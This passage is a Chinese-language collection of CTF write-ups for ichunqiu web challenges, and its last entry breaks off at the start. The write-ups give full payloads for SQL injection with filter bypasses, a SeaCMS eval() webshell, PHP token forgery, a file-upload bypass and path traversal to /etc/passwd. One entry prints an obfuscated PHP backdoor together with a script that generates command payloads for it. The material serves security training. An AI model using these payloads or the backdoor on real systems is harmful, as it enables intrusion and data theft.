http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 && 1=1
http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 || 1=1
用order by测试字段数,发现order by也被过滤了。
http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 order by 1
经常大量测试,发现可以使用<>绕过
这里需要注意or<>der隔开是不对的,因为or又是一个被拦截的字符
可以查询到有3个字段
通过union select查询字段的回显位,发现 union select也被过滤了
http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 union select 1,2,3
这里同样用<>绕过,可查询到字段回显位在2位置。
http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 un<>ion se<>lect 1,2,3
查询数据库名
http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 un<>ion se<>lect 1,database(),3
可得到数据库名为:sqli
查询表名
http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1 un<>ion se<>lect 1,table_name,3 from information_schema.tables where table_schema='sqli'
得到表名为:info( 猜测flag在info表中)和users
查询字段名:
http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1   un<>ion  se<>lect 1,group_concat(column_name),3  from  information_schema.columns  where table_name='info'
得到三个字段名为:id,title,flAg_T5ZNdrm
查询 flAg_T5ZNdrm字段的内容,可获得flag内容
http://e9e6d163a16e4df1bab55b0b81dca52c2c501dc6e0ab4b69.changame.ichunqiu.com/index.php?id=1   u<>nion se<>lect 1,flAg_T5ZNdrm,3 from info
最终flag:
flag{d6f827ac-3b39-4878-a6a9-77829ca6ed93}
题目名称:

题目内容:12341234,然后就解开了

题目wirteup:
启动题目场景,获得靶场,访问网站,发现页面正在加载
http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/b68a89d1c4a097a9d8631b3ac45e8979.php
然后查看源代码,发现有注入long.php?id=1连接
访问 login.php?id=1链接,可以正常显示,测试sql注入发现不行。
这里对其靶机网站目录进行扫描,发现有index.php和login.php以及config.php
其中config.php页面打开是空白
访问index.php页面,发现有跳转,这里对其进行抓包,发现会直接跳转到b68a89d1c4a097a9d8631b3ac45e8979.php页面
打开 b68a89d1c4a097a9d8631b3ac45e8979.php页面,又继续抓包分析,有一个隐藏页面进行请求b68a89d1c4a097a9d863lb3ac45e8979.php(这里1变成了L),在进行请求,响应页面跳转到302,同时又隐藏了
页面 l0gin.php?id=1,真正的是这个页面在请求。
访问 l0gin.php?id=1链接,发现有内容的页面,可能这个页面是存在注入
测试and 1=1和and 1=0,发现都被过滤
经过测试 and '1 和and '0,可绕过,并且页面不同,可判断该页面存在注入。
http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/l0gin.php?id=1'  and '1
http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/l0gin.php?id=1'  and '0
测试闭合符号#,发现#符号被过滤了
测试闭合符号--以及%23(# url编码)可成功闭合。
查询字段,发现存在2个字段
http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/l0gin.php?id=1' order by 2%23
查询字段回显位,发现逗号被过滤了,不能进行含有逗号的Sql查询语句
绕过逗号过滤,可以使用join 联合查询语句进行绕过
查询数据库名和数据库版本
http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/l0gin.php?id=-1' union select * from (select database()) a join (select version() ) b %23
得到数据库名为sqli以及数据库版本:5.5.50-0ubuntu0.14.04.1
查询表名
http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/l0gin.php?id=-1' union select * from (select group_concat(table_name) from information_schema.tables where table_schema='sqli') a join (select version() ) b %23
得到表名为:users
查询users的字段名
http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/l0gin.php?id=-1' union select * from (select group_concat(column_name) from information_schema.columns where table_name='users') a join (select version() ) b %23
得到字段名为:id,username,flag_9c861b688330
查询字段内容,可获得flag内容
http://9b8586de8c8248f2b62b67ce3283a39fa5d3e04a6b3c44ca.changame.ichunqiu.com/l0gin.php?id=-1' union select * from (select flag_9c861b688330 from users) a join (select version() ) b %23
最终flag:
flag{2281c183-a611-4569-8e88-8e1bace4d9a5}
题目名称:123
题目内容:12341234,然后就解开了
题目witeup:
启动题目场景,获得靶场网站,访问网站,发现是一个登陆页面
http://5bb146202b5841d69c2e758537e324212356187cb2854eaa.changame.ichunqiu.com/login.php
查看源代码,发现注释中包含用户名都在user.php中,且用户名的密码是密码+出生日期。
view-source:http://5bb146202b5841d69c2e758537e324212356187cb2854eaa.changame.ichunqiu.com/login.php
通过御剑目录扫描工具,发现存在flag.php和user.php.bk文件
访问user.php.bk文件,可直接下载文件到本地,并查看其内容,发现都是用户名字典。可将该文件当作字典 进行爆破。
登录系统,输入任意用户名和密码,并对其抓包,这里对用户名和密码进行爆破。由于 密码是密码+出生日期,这里出生日期从1990开始fuzz
添加字典,也就是那个备份文件
成功爆破出用户名lixiuyun,密码lixiuyun1990
输入爆破成功的用户名和密码,可登录系统,但是现实是空白的
查看源代码,发现注释中存在漏洞需要去掉,这里是去掉注释,我们将其复制保存到本地为file.html
view-source:http://5bb146202b5841d69c2e758537e324212356187cb2854eaa.changame.ichunqiu.com/
file.html修改后的内容:
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>个人中心</title>
</head>
<body>
<center>
<form action="http://5bb146202b5841d69c2e758537e324212356187cb2854eaa.changame.ichunqiu.com/" method="POST" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="submit" value="上传" />
</form>
</center>
</body>
</html>
首先正常访问登录后的地址: http://5bb146202b5841d69c2e758537e324212356187cb2854eaa.changame.ichunqiu.com/,并获得cookie值
然后本地访问 file.html,上传一个.txt文件,抓包拦截,并带上获取的cookie值,发送请求,发现只允许上传图片文件。
接着上传.jpg发现文件名不合法
文件名修改为test.jpg.php发现文件名不能包含php

之后我们再尝试 php2, php3, php4, php5, phps, pht, phtm, phtml等 php的别名,最后得到pht或者phtml不会被过滤,可上传成功,并返回了一个路径/view.php

访问view.php路径, 得到提示通过file进行传参
http://5bb146202b5841d69c2e758537e324212356187cb2854eaa.changame.ichunqiu.com/view.php
访问 view.php?file=,发现filter "flag"显示过滤了flag关键字
http://5bb146202b5841d69c2e758537e324212356187cb2854eaa.changame.ichunqiu.com/view.php?file=
直接双写 flaflagg绕过,试了半天flaflagg.php,最后把.php去掉就得到flag了
访问 view.php?file=flflagag可成功读取flag内容
http://5bb146202b5841d69c2e758537e324212356187cb2854eaa.changame.ichunqiu.com/view.php?file=flflagag
最终flag
flag{284d0d78-c90d-47bd-940b-a713f20749e7}
题目名称:Test

题目内容:善于查资料,你就可以拿一血了

writeup:
启动题目场景,获得题目靶机网站,访问网站,发现网站是一个海洋CMS系统开发的
http://9e3dca6048414f28b84aebff6615aaf412179ee984524170.changame.ichunqiu.com/
通过百度搜索海洋cms历史漏洞可知,得到一个搜索的任意代码执行漏洞,poc: search.php/?searchtype=5&tid=&area=eval($_POST[bk])
这里直接访问以下链接,可远程加载一句话木马
http://9e3dca6048414f28b84aebff6615aaf412179ee984524170.changame.ichunqiu.com/search.php/?searchtype=5&tid=&area=eval($_POST[bk])
这里通过蚂剑链接一句话木马
并通过命令终端搜索falg,命令:find / -name "*flag*",发现没有任何相关的flag信息
猜测flag可能在数据库中,这里需要链接数据库,前提是需要找到数据库连接的用户名和密码
而这些信息是在data/common.inc.php文件下存在数据库的配置内容。
通过蚂剑本身自带的数据库管理工具链接数据库
并在seacms数据库中的flag_140ad230d8cb表中的flag字段中存在flag的信息,这里执行字段中的语句,即可获得flag内容
最终得到flag:
flag{1603d032-add0-424b-8b11-df64d0e4ebb2}
题目名称:Login

题目内容:加油,我看好你

题目writeup:
启动题目场景,获得靶场网站,访问网站,发现是一个登陆页面
http://861cde64ed424097a53639737ae67efabab9eb44763844b4.changame.ichunqiu.com/
对靶场网站查看源码发现注释中有test1 test1,猜测是用户名和密码
view-source:http://861cde64ed424097a53639737ae67efabab9eb44763844b4.changame.ichunqiu.com/
输入用户名 test1和密码test1,可成功登陆到 member.php后台页面,发现没有可利用点
http://861cde64ed424097a53639737ae67efabab9eb44763844b4.changame.ichunqiu.com/member.php
并查看源码,也没哟发现可利用点
继续访问访问 member.php页面,并通过bupsuit抓包,发现在响应页面的http响应头中出现了可疑的show: 0
http://861cde64ed424097a53639737ae67efabab9eb44763844b4.changame.ichunqiu.com/member.php
这里将 show: 0 添加到http请求头部中,并发送请求,在响应页面中并没没发生变化和可利用点
这里修改为 show: 1 添加到http请求头部中,在响应页面中出现了php的源代码。
得到php源码:
<!-- <?php
    include 'common.php';
    $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
    class db
    {
        public $where;
        function __wakeup()
        {
            if(!empty($this->where))
            {
                $this->select($this->where);
            }
        }
        function select($where)
        {
            $sql = mysql_query('select * from user where '.$where);
            return @mysql_fetch_array($sql);
        }
    }
    if(isset($requset['token']))
    {
        $login = unserialize(gzuncompress(base64_decode($requset['token'])));
        $db = new db();
        $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
        if($login['user'] === 'ichunqiu')
        {
            echo $flag;
        }else if($row['pass'] !== $login['pass']){
            echo 'unserialize injection!!';
        }else{
            echo "(╯‵□′)╯︵┴─┴ ";
        }
    }else{
        header('Location: index.php?error=1');
    }
?>
对其源码进行代码分析:

可以看到想要得到 flag,必须得满足:

1.user 等于ichunqiu

$login['user'] === 'ichunqiu'

然而token是经过这样处理的:

$login = unserialize(gzuncompress(base64_decode($requset['token'])));

所以需要将‘ichunqiu’经过base64_encode(gzcompress(serialize($token)))处理得到token值,并将token添加到cookie中,发送请求就会得到flag

上面代码中三个函数的作用如下:

unserialize:对单一的已序列化的变量进行操作,将其转换回 PHP 的值

gzuncompress:解压被压缩的字符

base64_decode:base64解码

我们重新编写一个php脚本来生成ichunqiu的token值:

<?php $a = array('user'=>'ichunqiu'); $a = base64_encode(gzcompress(serialize($a))); echo $a ?>

这里通过在线php工具来运行php代码得到token

https://tool.lu/coderunner/

得到token的值:eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==

将token值添加到cookie中,添加的内容为:;token=eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==

并发送请求,在响应页面中发现了flag的内容

最终flag为:
flag{051e9c1c-e685-4ef8-a315-5cae795f5866}
题目名称:Backdoor

题目内容:

努力、加油,拼搏,奋斗!!!

tips:敏感文件泄漏 

题目writeup:

其他题目场景,获得题目靶机,访问网站,页面显示了一些内容“can you find the flag.php?"

http://a4afd48a8c0d47a49a73ba27c3e6a5077ba687fe77164266.changame.ichunqiu.com/Challenges/index.php

尝试将index.php修改为flag.php,访问Challenges/flag.php页面,内容显示的flag并不是真正的flag

http://a4afd48a8c0d47a49a73ba27c3e6a5077ba687fe77164266.changame.ichunqiu.com/Challenges/flag.php

通过御剑目录扫描工具对网站根目录以及/Challenges目录进行扫描,发现存在 robots.txt和flag.php文件以及/.git/路径
访问robots.txt页面,发现隐藏可访问flag.php页面
http://a4afd48a8c0d47a49a73ba27c3e6a5077ba687fe77164266.changame.ichunqiu.com/robots.txt
访问flag.php页面,显示404页面无法访问
http://a4afd48a8c0d47a49a73ba27c3e6a5077ba687fe77164266.changame.ichunqiu.com/flag.php
这里通过githack进行git下载
python GitHack.py http://a4afd48a8c0d47a49a73ba27c3e6a5077ba687fe77164266.changame.ichunqiu.com/.git/
下载下来并没有可利用的东西,有某些隐藏的git操作的修改历史记录githack是不能读取出来。
这里使用 dvcs-ripper会自动解析并提取以往的操作历史记录项目
perl rip-git.pl    -v -u  http://a4afd48a8c0d47a49a73ba27c3e6a5077ba687fe77164266.changame.ichunqiu.com/Challenges/.git/
查看falg.php和index.php的内容
cat flag.php
cat index.php
显示内容为: flag{this_is_not_flag},并不是flag内容

查看flag.php的修改git日志记录

git log flag.php

                
                
可以看到修改了很多次flag.php这个文件,我们回查一下上一次的修改时的内容
commit的值是test那次的值,可以看到在修改前是flag{true_flag_is_in_the_b4cko0r.php}
那么我们访问 tb4cko0r.php文件,页面内容显示“can you find the source code of me?”告诉我们需要源码查看
http://2f563c14132a4594bd424f63a4da93bd96dec8c672684bd6.changame.ichunqiu.com/Challenges/b4ckdo0r.php
查看源代码并没有任何可利用点
view-source:http://2f563c14132a4594bd424f63a4da93bd96dec8c672684bd6.changame.ichunqiu.com/Challenges/b4ckdo0r.php
源代码中也无任何提示,既然是文件泄露,我们就尝试.b4ckdo0r.php.swo和, .b4ckdo0r.php.swp文件,这两个都是vim在编辑过程中产生的缓存文件,果然找到了.b4ckdo0r.php.swo,打开发现是乱码
我们将 b4ckdo0r.php.swo上传到 kali 系统中,使用vim -r选项恢复该文件。
vim -r b4ckdo0r.php.swo
回车即可得到b4ckdo0r.php的内容,将内容拷贝至b4ckdo0r.php文件中:
<?php
echo "can you find the source code of me?";
/**
 * Signature For Report
 */$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/*
 */$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/*
 */$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/*
 */$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/*
 */$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/*
 */$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';/*
 */$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';/*
 */$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';/*
 */$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';/*
 */$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';/*
 */$y=str_replace('b','','crbebbabte_funcbbtion');/*
 */$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/*
 */$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/*
 */$v=$y('',$L);$v();/*
 */
?>
修改一下代码将几个关键变量打印出来:
<?php
echo "can you find the source code of me?";
$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';
$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';
$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';
$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';
$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';
 $O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';
$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';
$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';
$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';
$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';
$y=str_replace('b','','crbebbabte_funcbbtion');
$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';
$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);
$v=$y('',$L);$v();
echo  $v,$L,$y;
?>
通过在线 php执行,得到不美观的php代码:
             
             
通过在线PHP代码格式化美化工具对其进行美化。
整理得到php代码:
<?php
$kh="4f7f";
$kf="28d7";
//对$t,$k进行异或运算
function x($t,$k) {
    $c=strlen($k);
    $l=strlen($t);
    $o="";
for($i=0; $i<$l;) {
//如果第二个参数全部异或了一遍,第一个还没结束,接着从第二个参数头部从头开始。
        for($j=0; ($j<$c&&$i<$l); $j++,$i++) {
            $o.=$t{$i}^$k{$j};
        }
    }
    return $o;
}
// HTTP_REFERER处理后传给$q ,HTTP_ACCEPT_LANGUAGE过正则,每个语言的首字符和权重q=0.x的x值传给 $m
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"]; //获取变量,且用户可控
$ra=@$r["HTTP_ACCEPT_LANGUAGE"]; //获取变量,且用户可控
if($rr&&$ra) {
    $u=parse_url($rr); //解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
    parse_str($u["query"],$q); //把HTTP_REFERER中query(即提交的参数)对应的值提出,parse_str — 将字符串解析成多个变量
    $q=array_values($q); //返回含所有值的索引数组。
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
//
    if($q&&$m) {
        @session_start();
        $s=&$_SESSION;
        $ss="substr"; //做动态变量名用,$sl也一样
        $sl="strtolower";
        $i=$m[1][0].$m[1][1]; //取的组合值
        $h=$sl($ss(md5($i.$kh),0,3)); //运算后值为675
        $f=$sl($ss(md5($i.$kf),0,3)); //值为a3e
        $p="";
        for($z=1; $z<count($m[1]); $z++)
            $p.=$q[$m[2][$z]]; //遍历所有权重值,读取对应的$q,拼接成$p
    //如果$p中没有和$h相同的的字符串,则令$s[$i]为空,p等于p的前三位
        if(strpos($p,$h)===0) {
            $s[$i]=""; $p=$ss($p,3); //$p前三位是不是675
        }
    // array_key_exists — 检查数组里是否有指定的键名或索引,检查$i中有无$s字符串,有则s[$i]与p合并,$e等于$f在$s[$i]中首次出现的位置
        if(array_key_exists($i,$s)) {
            $s[$i].=$p;
            $e=strpos($s[$i],$f); //$i后三位是不是a3e
            if($e) {
                $k=$kh.$kf; //$k值为4f7f28d7
                ob_start();//打开输出控制缓冲
//base64解码后,通过x函数与$k进行异或计算,gzip解压,以$f截断(此时$e的值等于$f)
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                $o=ob_get_contents();
                ob_end_clean();
                $d=base64_encode(x(gzcompress($o),$k)); print("<$k>$d</$k>"); //gzip压缩执行结果,并与$k进行异或计算
                @session_destroy();
            }
        }
    }
}

x($t, $k)函数是个异或函数,第一个参数和第二个参数按位对应异或,如果第二个参数全部异或了一遍,第一个还没结束,又从第二个参数头部从头开始。

$rr是通过http报头的Referer参数传入,我们可控

$rs是通过http报头的accept-language参数传入,我们可控

这里先介绍下accpet-language吧,举个栗子

这里的zh-CN是默认语言,之后每个值以“,(逗号)”隔开,格式为“ 语言;q=权重 ”

那么preg_match_all这个正则所做的事,看着很复杂,我们直接把他输出到自己服务器的web上吧

是一个二维数组,然后$i会取[1][0]和[1][1]的组合值

$h和f分别是 ($i . $kh)和($i . $kf)的md5值的前3个字符这里算出来是675和a3e

这一段代码会看language的语言有多少个,然后$p是以权重的小数部分值为下标,然后取Referer的url中的对应下标的参数的值的组合

这里举个例子,a=1中的1 就是$q[$m[2][0]],b=2中的2 就是$q[$m[2][1]]

然后就是判断$p这个变量前3个是不是675,后3个是不是a3e,最后我们的构造为 "675 + payload + a3e"

然后就是传到eval函数里面了,这里我们要通过eval函数来读目录,然后查看flag

eval中用了很多编码方式,也用到了自定的x($t, $k)这个异或函数,我们依次测试下顺序,就能正确的生成我们的payload,来构造system("ls");

这里异或的规律

a = b ^ c那么 b = a ^ c;这是一个很简单的规律,所以x函数即使编码函数,也是解码函数

最后附上我生成payload和解码返回值的内容的php代码

<?php
function x($t,$k) {
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0; $i<$l;) {
        for($j=0; ($j<$c&&$i<$l); $j++,$i++) {
            $o.= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}
function get_answer($str){
    $str = base64_decode($str);
    $str = x($str, '4f7f28d7');
    $str = gzuncompress($str);
    echo $str . "<br>";
}
//输出向服务器提交的变量a中payload值  ?a=675 + payload + a3e
function input($cmd){
    $str = 'system("' . $cmd . '");';
    $t1 = gzcompress($str);
    echo '$t1 = ' . $t1 . "<br>";
    $t2 = x($t1, '4f7f28d7');
    echo '$t2 = ' . $t2 . "<br>";
    $t3 = base64_encode($t2);
    echo '$t3 = ' . $t3 . "<br>";
    return $t3;
}
$ra='zh-CN,zh;q=0.0';
input('ls'); //第一次的命令
input('cat this_i5_flag.php');// //第一次的命令
?>
把命令输入input里面,运行这个php脚本就会生成ls命令的payload,而我们accep-language所填内容为 'zh-CN,zh;q=0.0'
得到执行ls的payload值:TPocyB4WLfrhNv1PZOrQMTREimJn
得到执行 cat this_i5_flag.php的payload值:TPocyB4WLfrhNn0oHmlM/vxKuakGtSv8fSrgTfoQNOWAYDfeUDKW
第一次执行命令的payload(675+TPocyB4WLfrhNv1PZOrQMTREimJn+3e)为请求生成的解密返回的值:
这里请求访问将Accept-Language: zh-CN,zh;q=0.0和Referer:http://eb74b49c758449eab4bef45af0b8e8e7f872ea67ce774e9a.changame.ichunqiu.com/Challenges/index.php?a=payload值添加到http请求头,然后发送请求,在
响应页面得到解密后返回的值
得到解密值: TPp8VHv2Kv4DTuVN+hCEff8ve2EBCpdlZk33ypDEwMumBIr0uCrKpbiq1Z5+6xyPHma96ydT
第二执行命令的 payload(675+TPocyB4WLfrhNn0oHmlM/vxKuakGtSv8fSrgTfoQNOWAYDfeUDKW+3e)为请求生成的解密返回的值:
得到解密值: TPqE1x3wTNfRNH6te3Qzh2E2MLfnfk2+ne9+cPSCLaGdL41ApH4tjSIAd/CzUdZOrieV43Oq3WaZ3AJJpYV5IDQJ63f8
将得到的解密值填入到下面脚本中执行,可获得flag信息:
<?php
function x($t,$k) {
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0; $i<$l;) {
        for($j=0; ($j<$c&&$i<$l); $j++,$i++) {
            $o.= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}
function get_answer($str){
    $str = base64_decode($str);
    $str = x($str, '4f7f28d7');
    $str = gzuncompress($str);
    echo $str . "<br>";
}
//输出向服务器提交的变量a中payload值  ?a=675 + payload + a3e
function input($cmd){
    $str = 'system("' . $cmd . '");';
    $t1 = gzcompress($str);
    echo '$t1 = ' . $t1 . "<br>";
    $t2 = x($t1, '4f7f28d7');
    echo '$t2 = ' . $t2 . "<br>";
    $t3 = base64_encode($t2);
    echo '$t3 = ' . $t3 . "<br>";
    return $t3;
}
$ra='zh-CN,zh;q=0.0';
input('ls'); //第一次的命令
input('cat this_i5_flag.php');// //第一次的命令
//服务器两次返回的值
get_answer('TPp8VHv2Kv4DTuVN+hCEff8ve2EBCpdlZk33ypDEwMumBIr0uCrKpbiq1Z5+6xyPHma96ydT');
get_answer('TPqE1x3wTNfRNH6te3Qzh2E2MLfnfk2+ne9+cPSCLaGdL41ApH4tjSIAd/CzUdZOrieV43Oq3WaZ3AJJpYV5IDQJ63f8')
?>
最终flag:
flag{2daeab83-b9eb-492b-86eb-05c7f0a80b72}
漏洞名称:GetFlag

题目内容:一步一步一步的靠近它

漏洞writeup:
启动题目场景,获得靶场网站,访问网站,发现连接中有一个login登陆按钮
http://a2197c26618d4fd0a845dbdc49c771c42323c422cf024ed0.changame.ichunqiu.com/Challenges/index.php

并且页面中显示的内容:

substr(md5(captcha), 0, 6)=39f049

给出了一个截取验证码的MD5 Hash前六位字符,根据代码,猜想这题是要碰撞出验证码对应的明文。

使用Python编写出相应的工具,可以根据MD5 Hash前六位碰撞出明文,明文的范围通过多次尝试,得知在6位至8位
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Time    : 2018/8/20 22:50
# Author  : SDFZ
# Site    : sdfzy.top
# File    : test.py
#===================================================================
import hashlib
def md5(s):
    return hashlib.md5(str(s).encode('utf-8')).hexdigest() #用md5先把参数s用utf-8编码之后进行加密,hexdigest表示返回返回摘要,作为十六进制数据字符串值
def main(s):
    for i in range(1,99999999):
        if md5(i)[0:6]  == str(s):     #截取密文前6位与 用户传入的值进行比对  (具体情况具体修改)
            print(i)
            exit(0)
if __name__ == '__main__':
    main("36c22c")
执行结果,碰撞出验证码:
得到的验证码为:35627749
得到验证码之后,再去猜解账户密码,手工多次尝试后,发现登陆点存在注入漏洞,使用万能用户账号:admin' or '1'='1# 密码任意,可登陆系统
http://a2197c26618d4fd0a845dbdc49c771c42323c422cf024ed0.changame.ichunqiu.com/Challenges/action.php?action=login
成功登陆到系统后,发现后台有3个文件可以下载
分别对hello.txt和s.txt以及a.php进行下载,并查看内容,发现并没有可利用点
同时也可以看到 Challenges/file/download.php?f=连接中的f参数可能存在任意文件包含漏洞
这里参数读取/etc/passwd,这里读取的内容,并不是/etc/passwd的内容
http://a2197c26618d4fd0a845dbdc49c771c42323c422cf024ed0.changame.ichunqiu.com/Challenges/file/download.php?f=../etc/passwd
接着参数读取flag.php,也发现不能读取flag.php的内容
http://a2197c26618d4fd0a845dbdc49c771c42323c422cf024ed0.changame.ichunqiu.com/Challenges/file/download.php?f=../flag.php
手工测试发现在Chanllenges目录下存在flag.php,只是访问是空白的,那么猜测flag.php的默认路径为:/var/www/html/ Challenges/flag.php(一般apache服务器的网站默认路径为/var/www/html)
http://a2197c26618d4fd0a845dbdc49c771c42323c422cf024ed0.changame.ichunqiu.com/Challenges/flag.php
因此,我们就通过?f=参数进行文件包含 /var/www/html/ Challenges/flag.php读取其内容,可直接读取内容并下载文件到本地。
得到flag.php的源码:
<?php
$f = $_POST['flag'];
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
        die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try
{
         eval("\$spaceone = $f");
}
catch (Exception $e)
{
        return false;
}
if ($spaceone === 'flag'){
    echo file_get_contents("helloctf.php");
}
?>

对代码进行审计分析:

理想情况下POST提交的flag=flag即可,而且出现’`’, ‘$’, ‘*’, ‘#’, ‘:’, ‘\’, ‘"’, “’”, ‘(’, ‘)’, ‘.’, '>'都会被替换成空格,

且参数的长度必须小于13以及不包含return的字符串,才能执行eval函数。但是eval函数做了异常处理,直接提交flag=flag会产生异常,而提交flag='flag'或flag="flag",引号会被过滤

满足$spaceone === 'flag'。而$spaceone = $f,$f可控,那么我们用post方式提交flag=flag,但是并没有拿到flag。

其实这里是触发了异常处理,eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。这里我们在post的时候加个分号拿到flag

所以flag.php传入参数?flag=flag;即可获得helloctf.php的内容

下面构造参数读取flag,提交后页面中并没有flag.

http://a2197c26618d4fd0a845dbdc49c771c42323c422cf024ed0.changame.ichunqiu.com/Challenges/flag.php

post:

flag=flag;

查看源代码,发现flag内容
最终flag为:
flag{0299ca95-6d09-4f70-b7a3-ac765f06d558}

题目名称:Not Found
题目writeup:
启动题目场景,获得靶场网站,访问网站,页面内容显示not found,且显示一个/404.php的路径
http://eba7dd1e003c4745a2716d3225858e3b38f73d6ae9564699.changame.ichunqiu.com/
            
            
访问404.php并没有发现任何可利用点
